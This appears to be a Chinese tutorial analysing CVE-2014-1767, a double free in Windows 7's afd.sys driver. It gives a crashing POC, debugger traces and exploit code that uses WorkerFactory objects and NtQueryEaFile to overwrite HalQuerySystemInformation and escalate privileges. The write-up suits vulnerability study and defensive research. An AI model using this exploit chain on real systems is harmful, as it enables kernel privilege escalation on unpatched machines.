一.前言
1.漏洞描述
afd.sys驱动用于支持Win Socket应用程序。由于afd!AfdReturnTpInfo函数调用IoFreeMdl函数释放MDL内存的时候,没有及时将指针清空,导致再次调用的时候会再次释放相同的内存地址,导致双重释放的错误。通过WorkerFatory对象占有释放的内存,利用相关的函数可以实现一次任意地址写入,实现修改关键函数来实现提权。
2.实验环境
操作系统:Win7 x86 sp1 专业版
编译器:Visual Studio 2017
调试器:IDA Pro,WinDbg
二.漏洞分析
1.POC代码分析
以下是该漏洞的POC代码:
void POC_CVE_2014_1767()
{
WSADATA WSAData;
SOCKET s;
SOCKADDR_IN sa;
int ierr;
// 初始化通信的设备句柄
WSAStartup(0x2, &WSAData);
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
memset(&sa, 0, sizeof(sa));
sa.sin_port = htons(135);
sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
sa.sin_family = AF_INET;
ierr = connect(s, (const struct sockaddr*)&sa, sizeof(sa));
char outBuf[100];
DWORD bytesRet;
DWORD targetSize = 0x310;
DWORD virtualAddress = 0x13371337;
DWORD mdlSize = (0x4000 * (targetSize - 0x30) / 8) - 0xFFF - (virtualAddress & 0xFFF);
DWORD inbuf1[100];
memset(inbuf1, 0, sizeof(inbuf1));
inbuf1[6] = virtualAddress;
inbuf1[7] = mdlSize;
inbuf1[10] = 1;
// 第一次通信
DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x30, outBuf, 0, &bytesRet, NULL);
DWORD inbuf2[100];
memset(inbuf2, 0, sizeof(inbuf2));
inbuf2[0] = 1;
inbuf2[1] = 0x0AAAAAAA;
// 第二次通信
DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x18, outBuf, 0, &bytesRet, NULL);
}
触发漏洞的关键就是两次调用DeviceIoControl函数来实现用户层和内核层的I/O通信,函数定义如下,其中第二个参数为控制码,第三个参数为传入内核从的输入数据,这两个参数也是触发此次漏洞的关键。
BOOL WINAPI DeviceIoControl(HANDLE hDevice,
DWORD dwIoControlCode,
LPVOID lpInBuffer,
DWORD nInBufferSize,
LPVOID lpOutBuffer,
DWORD nOutBufferSize,
LPDWORD lpBytesReturned,
LPOVERLAPPED lpOverlapped);
2.静态调试
对于每一个驱动,在内核中都会有一个对应的DRIVER_OBJECT对象,该结构体定义如下:
#define IRP_MJ_MAXIMUM_FUNCTION 0x1b
typedef struct _DRIVER_OBJECT {
CSHORT Type;
CSHORT Size;
PDEVICE_OBJECT DeviceObject;
ULONG Flags;
PVOID DriverStart;
ULONG DriverSize;
PVOID DriverSection;
PDRIVER_EXTENSION DriverExtension;
UNICODE_STRING DriverName;
PUNICODE_STRING HardwareDatabase;
PFAST_IO_DISPATCH FastIoDispatch;
PDRIVER_INITIALIZE DriverInit;
PDRIVER_STARTIO DriverStartIo;
PDRIVER_UNLOAD DriverUnload;
PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1];
} DRIVER_OBJECT;
typedef struct _DRIVER_OBJECT *PDRIVER_OBJECT;
其中最后一个成员MajorFunction数组保存了不同的派遣函数用于处理用户层的通信要求,其中与调用DeviceIoControl进行通信对应的派遣函数保存于MajorFunction数组的0xE下标中。
#define IRP_MJ_DEVICE_CONTROL 0x0e
从afd.sys的DriverEntry函数中可以看到驱动创建了"\\Device\\Afd"设备对象:
将MajorFunction数组下标0xE的派遣函数赋值为AfdDispatchDeviceControl函数,所以POC调用DeviceIoControl进行和内核进行通信的时候,就会调用该函数。
用户层和内核层之间的信息传递通过IRP结构体实现,该结构体定义如下:
kd> dt _IRP
nt!_IRP
+0x000 Type : Int2B
+0x002 Size : Uint2B
+0x004 MdlAddress : Ptr32 _MDL
+0x008 Flags : Uint4B
+0x00c AssociatedIrp : <unnamed-tag>
+0x010 ThreadListEntry : _LIST_ENTRY
+0x018 IoStatus : _IO_STATUS_BLOCK
+0x020 RequestorMode : Char
+0x021 PendingReturned : UChar
+0x022 StackCount : Char
+0x023 CurrentLocation : Char
+0x024 Cancel : UChar
+0x025 CancelIrql : UChar
+0x026 ApcEnvironment : Char
+0x027 AllocationFlags : UChar
+0x028 UserIosb : Ptr32 _IO_STATUS_BLOCK
+0x02c UserEvent : Ptr32 _KEVENT
+0x030 Overlay : <unnamed-tag>
+0x038 CancelRoutine : Ptr32 void
+0x03c UserBuffer : Ptr32 Void
+0x040 Tail : <unnamed-tag>
+0x000 Overlay : <unnamed-tag>
+0x000 DriverContext : [4] Ptr32 Void
+0x010 Thread : Ptr32 _ETHREAD
+0x014 AuxiliaryBuffer : Ptr32 Char
+0x018 ListEntry : _LIST_ENTRY
+0x020 CurrentStackLocation : Ptr32 _IO_STACK_LOCATION
+0x020 PacketType : Uint4B
+0x024 OriginalFileObject : Ptr32 _FILE_OBJECT
偏移0x60指向_IO_STACK_LOCATION结构体,该结构体定义如下:
kd> dt _IO_STACK_LOCATION -r
nt!_IO_STACK_LOCATION
+0x000 MajorFunction : UChar
+0x001 MinorFunction : UChar
+0x002 Flags : UChar
+0x003 Control : UChar
+0x004 Parameters : <unnamed-tag>
+0x000 DeviceIoControl : <unnamed-tag>
+0x000 OutputBufferLength : Uint4B
+0x004 InputBufferLength : Uint4B
+0x008 IoControlCode : Uint4B
+0x00c Type3InputBuffer : Ptr32 Void
+0x014 DeviceObject : Ptr32 _DEVICE_OBJECT
+0x018 FileObject : Ptr32 _FILE_OBJECT
+0x01c CompletionRoutine : Ptr32 long
+0x020 Context : Ptr32 Void
其中偏移0x8的InputBufferLength为调用DeviceIoControl函数时指定的输入数据的长度,偏移0xC为指定的dwIoControlCode,偏移0x10保存的是输入数据的指针。AfdDispatchDeviceIoControl函数的实现如下,可以很容易看出,该函数通过IoControlCode来计算一个下标,从AfdIoctlTable中取出该下标对应的数值来和IoControlCode进行验证,通过验证后,从AfdIrpCallDispatch数值中取出要执行的函数,在调用取出的函数。
AfdIoctlTable保存了不同的IoControlCode,其中可以发现POC中使用的两个控制码:
AfdIrpCallDispatch中保存了不同的执行函数,根据POC使用的控制码对应在AfdIoctlTable中的下标可以知道两次通信会分别调用AfdTransmitFile和AfdTransmitPackets函数:
这两个函数的定义如下:
NTSTATUS __fastcall AfdTransmitFile(PIRP pIrp, _IO_STACK_LOCATION *pIoStackLocation)
NTSTATUS __fastcall AfdTransmitPackets(PIRP pIrp, _IO_STACK_LOCATION *pIoStackLocation)
根据定义可以知道,这两个函数的调用约定是__fastcall,且都有两个参数,所以上面IDA反编译的结果在调用函数部分是有错误的,这里可以直接通过看汇编代码来看相应的参数传递,这里需要记一下,IoControlCode保存在edi中,要调用的函数保存在esi中,这个后面动态调试要用。
要触发漏洞,AfdTransmitFile需要绕过三处验证,第一处和调用DeviceIoControl时第一个参数,即要通信的设备有关,当它为Socket套接字就可以绕过,第二处和第三处就是和输入数据和输入长度有关:
通过验证以后就会调用AfdTliGetIpInfo来申请tpInfo:
tpInfo通过ExAllocateFromNPagedLookasideList来申请内存,其中偏移0x20处保存了通过ExAllocatePoolWithQuotaTag申请的tpInfoElement类型的数组,这里可以看出每个成员大小为0x18,参数指定了数组元素个数,这里为3:
ExAllocateFromNPagedLookasideList的实现如下,可以看出是通过链表的方式实现,所以申请的tpInfo很有可能是上一次释放时候所指的内存:
AfdTransmitFile申请完tpInfo内存之后,会从输入数据中取出地址和长度,然后调用IoAllocateMdl申请MDL内存,保存在tpInfoElement偏移0xC处,之后会调用函数MmProbeAndLockPages:
在POC中,由输入数据指定的地址和长度是不合法的,这就会导致MnProbeAndLockPages调用出现错误,从而导致AfdReturnTpInfo函数的调用:
AfdReturnTpInfo函数会调用IoFreeMdl来释放保存在tpInfoElement偏移0xC处的MDL内存。然而这里释放之后没有及时清空指针,而tpInfo在释放之后会挂回原来的链表中,此时如果可以再次申请tpInfo就会申请到同一块内存,其中保存的数据是原来的数据,如果有办法再次申请tpInfo,且对其进行初始化之前就再次进入AfdReturnTpInfo就可以释放相同的MDL内存造成双重释放:
POC是通过AfdTransmitPackets来造成第二次释放,函数前面的部分和之前差不多,也是进行几个验证:
验证通过就会使用输入数据偏移0x4处保存的数值作为参数调用AfdTliGetTpInfp:
在POC中第二次调用时候这个参数被指定为0x0AAAAAAA,因此,当AfdTliGetTpInfo申请数组的时候,会因为需要申请的内存过大(0x18 * 0x0AAAAAAA)导致错误,调用AfdReturnToInfo。而此时的tpInfo已经从链表中成功取出上一次挂入链表的内存,且相关成员没有被初始化,这个时候在AfdReturnTpInfo中释放MDL内存的时候就会释放同一块内存。
3.动态调试
以下是在WinDbg中,afd.sys驱动的信息,其中相关的信息和前面静态分析的结果一样:
kd> lmDvmafd
Browse full module list
start end module name
924f1000 9254b000 afd (deferred)
Image path: \SystemRoot\system32\drivers\afd.sys
Image name: afd.sys
Browse all global symbols functions data
Timestamp: Sat Nov 20 16:40:00 2010 (4CE78960)
CheckSum: 00054E9B
ImageSize: 0005A000
Translations: 0000.04b0 0000.04e4 0409.04b0 0409.04e4
kd> !drvobj afd 2
Driver object (86f16770) is for:
\Driver\AFD
DriverEntry: 9253563d afd!GsDriverEntry
DriverStartIo: 00000000
DriverUnload: 9250a5b6 afd!AfdUnload
AddDevice: 00000000
Dispatch routines:
[00] IRP_MJ_CREATE 92514190 afd!AfdDispatch
[01] IRP_MJ_CREATE_NAMED_PIPE 92514190 afd!AfdDispatch
[02] IRP_MJ_CLOSE 92514190 afd!AfdDispatch
[03] IRP_MJ_READ 92514190 afd!AfdDispatch
[04] IRP_MJ_WRITE 92514190 afd!AfdDispatch
[05] IRP_MJ_QUERY_INFORMATION 92514190 afd!AfdDispatch
[06] IRP_MJ_SET_INFORMATION 92514190 afd!AfdDispatch
[07] IRP_MJ_QUERY_EA 92514190 afd!AfdDispatch
[08] IRP_MJ_SET_EA 92514190 afd!AfdDispatch
[09] IRP_MJ_FLUSH_BUFFERS 92514190 afd!AfdDispatch
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION 92514190 afd!AfdDispatch
[0b] IRP_MJ_SET_VOLUME_INFORMATION 92514190 afd!AfdDispatch
[0c] IRP_MJ_DIRECTORY_CONTROL 92514190 afd!AfdDispatch
[0d] IRP_MJ_FILE_SYSTEM_CONTROL 92514190 afd!AfdDispatch
[0e] IRP_MJ_DEVICE_CONTROL 92512281 afd!AfdDispatchDeviceControl
[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL 924f2831 afd!AfdWskDispatchInternalDeviceControl
[10] IRP_MJ_SHUTDOWN 92514190 afd!AfdDispatch
[11] IRP_MJ_LOCK_CONTROL 92514190 afd!AfdDispatch
[12] IRP_MJ_CLEANUP 92514190 afd!AfdDispatch
[13] IRP_MJ_CREATE_MAILSLOT 92514190 afd!AfdDispatch
[14] IRP_MJ_QUERY_SECURITY 92514190 afd!AfdDispatch
[15] IRP_MJ_SET_SECURITY 92514190 afd!AfdDispatch
[16] IRP_MJ_POWER 92514190 afd!AfdDispatch
[17] IRP_MJ_SYSTEM_CONTROL 92510834 afd!AfdEtwDispatch
[18] IRP_MJ_DEVICE_CHANGE 92514190 afd!AfdDispatch
[19] IRP_MJ_QUERY_QUOTA 92514190 afd!AfdDispatch
[1a] IRP_MJ_SET_QUOTA 92514190 afd!AfdDispatch
[1b] IRP_MJ_PNP 92514190 afd!AfdDispatch
Fast I/O routines:
FastIoRead 9250a288 afd!AfdFastIoRead
FastIoWrite 9250a372 afd!AfdFastIoWrite
FastIoUnlockAll 9250ea3e afd!AfdSanFastUnlockAll
FastIoDeviceControl 92503005 afd!AfdFastIoDeviceControl
接下来在AfdDispatchDeviceControl中的call esi处下条件断点来查看第一次通信的执行情况,编译运行POC就可以看到,此时esi保存是AfdTransmitFile函数地址,在AfdTransmit中调用IoAllocateMdl来申请MDL内存处下断点,可以看到此时要申请的内存为输入数据偏移0x18指定的地址:
继续向下运行会因为对不合法地址MnProbeAndLockPages而产生异常,进而执行IoFreeMdl,此时释放的MDL内存地址为0x87C55150:
继续上面步骤,可以看到第二次通信要执行的是AfdTransmitPackets函数,当执行ExAllocatePoolWithQuotaTag的时候,因为要申请的内存过大导致异常产生,进而执行IoFreeMdl来释放内存,而此时要释放的内存地址还是0x87C55150这个在上面刚被释放的内存,这就会导致双重释放产生BSOD错误:
继续运行系统就会出现蓝屏,以下是部分错误信息:
kd> !analyze -v
Connected to Windows 7 7601 x86 compatible target at (Wed Jul 27 11:26:29.882 2022 (UTC + 8:00)), ptr64 FALSE
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
BAD_POOL_CALLER (c2)
The current thread is making a bad pool request. Typically this is at a bad IRQL level or double freeing the same allocation, etc.
Arguments:
Arg1: 00000007, Attempt to free pool which was already freed
Arg2: 00001097, Pool tag value from the pool header
Arg3: 08bd0019, Contents of the first 4 bytes of the pool header
Arg4: 87C55150, Address of the block of pool being deallocated
PROCESS_NAME: exp.exe
STACK_TEXT:
nt!RtlpBreakWithStatusInstruction
nt!KiBugCheckDebugBreak+0x1c
nt!KeBugCheck2+0x68b
nt!ExFreePoolWithTag+0x1b1
nt!IoFreeMdl+0x70
afd!AfdReturnTpInfo+0xad
afd!AfdTliGetTpInfo+0x89
afd!AfdTransmitPackets+0x12e
afd!AfdDispatchDeviceControl+0x3b
nt!IofCallDriver+0x63
nt!IopSynchronousServiceTail+0x1f8
nt!IopXxxControlFile+0x6aa
nt!NtDeviceIoControlFile+0x2a
nt!KiFastCallEntry+0x12a
ntdll!KiFastSystemCallRet
ntdll!ZwDeviceIoControlFile+0xc
KERNELBASE!DeviceIoControl+0xf6
kernel32!DeviceIoControlImplementation+0x80
exp!main+0x117 [d:\vs2017\project\exp\exp\exp.cpp @ 59]
以下是要释放的内存情况,可以看到要释放的这个内存处于Free状态:
三.漏洞利用
1.利用思路
要利用该漏洞,需要用到WokerFactory对象,该对象可以通过以下函数创建,WorkerFactory占0x78大小的内存,在加上0x8大小的_POOL_HEADER和对象头,共会占有0xA0字节:
typedef NTSTATUS(NTAPI *lpfnNtCreateWorkerFactory)(PHANDLE WorkerFactoryHandleReturn,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
HANDLE CompletionPortHandle,
HANDLE WorkerProcessHandle,
PVOID StartRoutine,
PVOID StartParameter,
ULONG MaxThreadCount,
SIZE_T StackReserve,
SIZE_T StackCommit);
对于WorkerFactory对象,可以调用NtSetInformationWorkerFactory,该函数定义如下:
typedef NTSTATUS(NTAPI *lpfnNtSetInformationWorkerFactory)(HANDLE WorkerFactoryHandle,
LONG WorkerFactoryInformationClass,
PVOID WorkerFactoryInformation,
ULONG WorkerFactoryInformationLength);
该函数从第三个参数中获取要写入的值,调用ObReferenceObjectByHandle获取传入的WorkerFactoryHandle句柄对应的WorkerFactory对象,并执行最后的写入操作:
成功利用该漏洞还需要NtQueryEaFile函数,该函数定义如下:
NTSTATUS __stdcall NtQueryEaFile(HANDLE FileHandle,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID Buffer,
ULONG Length,
BOOLEAN ReturnSingleEntry,
PVOID EaList,
ULONG EaListLength,
PULONG EaIndex,
BOOLEAN RestartScan);
该函数会调用调用ExAllocatePoolWithQuotaTag来申请EaListLength + 4大小的非分页内存,并将EaList指向的内存区域中的值拷贝到申请的内存区域中:
IoAllocateMdl函数申请内存的时候,要申请的内存大小由参数VirtualAddress和Length决定,所以可以通过这两个参数来决定要申请的内存大小,也就是控制触发漏洞时申请的MDL的大小:
综上可以得到以下结论:
通过控制参数可以控制触发漏洞时申请的MDL内存大小
NtCreateWokerFactory可以创建共占0xA0大小的WorkerFactory对象,且通过NtSetInformationWorkerFactory可以进行写入操作
NtQueryEaFile会申请一块可以指定大小的内存,并会向申请的内存中拷贝指定的内容
所以整个漏洞利用的步骤如下:
通过控制参数,让第一次调用DeviceIoControl进行通信时,申请并释放的MDL内存大小为0xA0
调用NtCreateWorkerFactory创建0xA0大小的WorkerFactory对象,该对象会占有上一步释放的MDL内存
调用DeviceIoControl进行第二次通信,释放掉上一步创建的WorkerFactory对象
伪造一个WorkerFactory对象,其中要对对象的起始4字节进行修改,这样可以让调用NtSetInformationWorkerFactory执行写入操作时,可以修改HalQuerySystemInformation
调用NtQueryEaFile函数,将EalistLength指定为0xA0 - 4,这样函数内部调用ExAllocateWithQuotaTag申请内存时,会申请0xA0大小的内存,就会占有第三步释放的WorkerFactory对象的内存。将EaList参数指定为伪造的WorkerFactory,这样NtQueryEaFile在调用memcpy进行内存拷贝的时候,就会将伪造的WorkerFactory对象赋拷贝到申请的内存中,即第三步释放的WorkerFactory对象占有的内存中
调用NtSetInformationWorkerFactory,将第三个参数指向ShellCode,这样NtSetInformationWorkerFactory在进行写入操作时候,会将ShellCode地址写入到想要的地址
调用目标函数实现提权
2.具体实现
要实现提权,首先需要获取套接字,并对通信时使用的输入数据,需要调用的函数等进行初始化:
SOCKET GetSocket()
{
BOOL bRet = TRUE;
WSADATA WSAData;
SOCKET s = INVALID_SOCKET;
SOCKADDR_IN sa;
int ierr;
if (WSAStartup(0x2, &WSAData) != 0)
{
ShowError("WSAStartup", WSAGetLastError());
goto exit;
}
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (s == INVALID_SOCKET)
{
ShowError("socket", WSAGetLastError());
goto exit;
}
memset(&sa, 0, sizeof(sa));
sa.sin_port = htons(135);
sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
sa.sin_family = AF_INET;
ierr = connect(s, (const struct sockaddr*)&sa, sizeof(sa));
if (ierr == SOCKET_ERROR)
{
ShowError("connect", WSAGetLastError());
goto exit;
}
exit:
return s;
}
BOOL Init_CVE_2014_1767()
{
BOOL bRet = TRUE;
HMODULE hDll = NULL;
// 加载要调用的函数
hDll = LoadLibrary("ntdll.dll");
if (!hDll)
{
ShowError("LoadLibrary", GetLastError());
bRet = FALSE;
goto exit;
}
fnNtCreateWorkerFactory = (lpfnNtCreateWorkerFactory)GetProcAddress(hDll, "ZwCreateWorkerFactory");
fnNtQueryEaFile = (lpfnNtQueryEaFile)GetProcAddress(hDll, "ZwQueryEaFile");
fnNtSetInformationWorkerFactory = (lpfnNtSetInformationWorkerFactory)GetProcAddress(hDll, "ZwSetInformationWorkerFactory");
if (!fnNtCreateWorkerFactory || !fnNtQueryEaFile || !fnNtSetInformationWorkerFactory)
{
ShowError("GetProcAddress", GetLastError());
bRet = FALSE;
goto exit;
}
// 初始化两次通信用到的输入数据
DWORD virtualAddress = 0x13371337;
DWORD length = ((FakeObjSize - 0x1C) / 4 - (virtualAddress % 4 ? 1 : 0)) * 0x1000;
memset(inputBuf1, 0, INPUT_SIZE * sizeof(DWORD));
inputBuf1[6] = virtualAddress;
inputBuf1[7] = length;
inputBuf1[0xA] = 1;
memset(inputBuf2, 0, INPUT_SIZE * sizeof(DWORD));
inputBuf2[0] = 1;
inputBuf2[1] = 0x0AAAAAAA;
// 构造WorkerFactory的头部分
memset(FakeWorkerFactory, 0, FakeObjSize);
memcpy(FakeWorkerFactory, ObjHead, 0x28);
// 用于创建WorkerFactory
hCompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 1337, 4);
if (!hCompletionPort)
{
ShowError("CreateIoCompletionPort", GetLastError());
bRet = FALSE;
goto exit;
}
exit:
return bRet;
}
接下来就是执行上面的利用步骤来实现提权:
BOOL Trigger_CVE_2014_1767(HANDLE hDevice)
{
BOOL bRet = TRUE;
PVOID pHalQuerySystemInformation = GetHalQuerySystemInformation();
if (!pHalQuerySystemInformation)
{
bRet = FALSE;
goto exit;
}
// 第一次通信,释放内存
DeviceIoControl(hDevice, 0x1207F, inputBuf1, 0x30, NULL, 0, NULL, NULL);
// 创建WorkerFactory对象占有释放的内存
NTSTATUS status = fnNtCreateWorkerFactory(&hWorkerFactory,
GENERIC_ALL,
NULL,
hCompletionPort,
(HANDLE)-1,
NULL, NULL, 0, 0, 0);
if (!NT_SUCCESS(status))
{
ShowError("fnNtCreateWorkerFactory", status);
bRet = FALSE;
goto exit;
}
// 第二次通信释放WorkerFactory对象占有的内存
DeviceIoControl(hDevice, 0x120C3, inputBuf2, 0x10, NULL, 0, NULL, NULL);
BYTE bBuf[0x14] = { 0 };
// *Object = bBuf
*(PDWORD)((ULONG)FakeWorkerFactory + 0x28) = (DWORD)bBuf;
// *(PDWORD)(*Object + 0x10) = pHalQuerySystemInformation - 0x1C
*(PDWORD)(bBuf + 0x10) = (DWORD)pHalQuerySystemInformation - 0x1C;
IO_STATUS_BLOCK IoStatus;
// 调用函数将构造的FakeWorkerFactory复制到释放的WorkerFactory对象占有的内存
fnNtQueryEaFile(INVALID_HANDLE_VALUE, &IoStatus, NULL, 0, FALSE, FakeWorkerFactory, FakeObjSize - 0x4, NULL, FALSE);
// 调用函数让*(_DWORD *)(*(_DWORD *)(*Object + 0x10) + 0x1C) = value执行
PVOID pTarget = ShellCode;
fnNtSetInformationWorkerFactory(hWorkerFactory, 8, &pTarget, sizeof(PVOID));
// 调用函数实现提权
if (!CallNtQueryIntervalProfile())
{
bRet = FALSE;
goto exit;
}
exit:
return bRet;
}
四.运行结果
相关代码在:。编译运行即可成功提权:
五.参考资料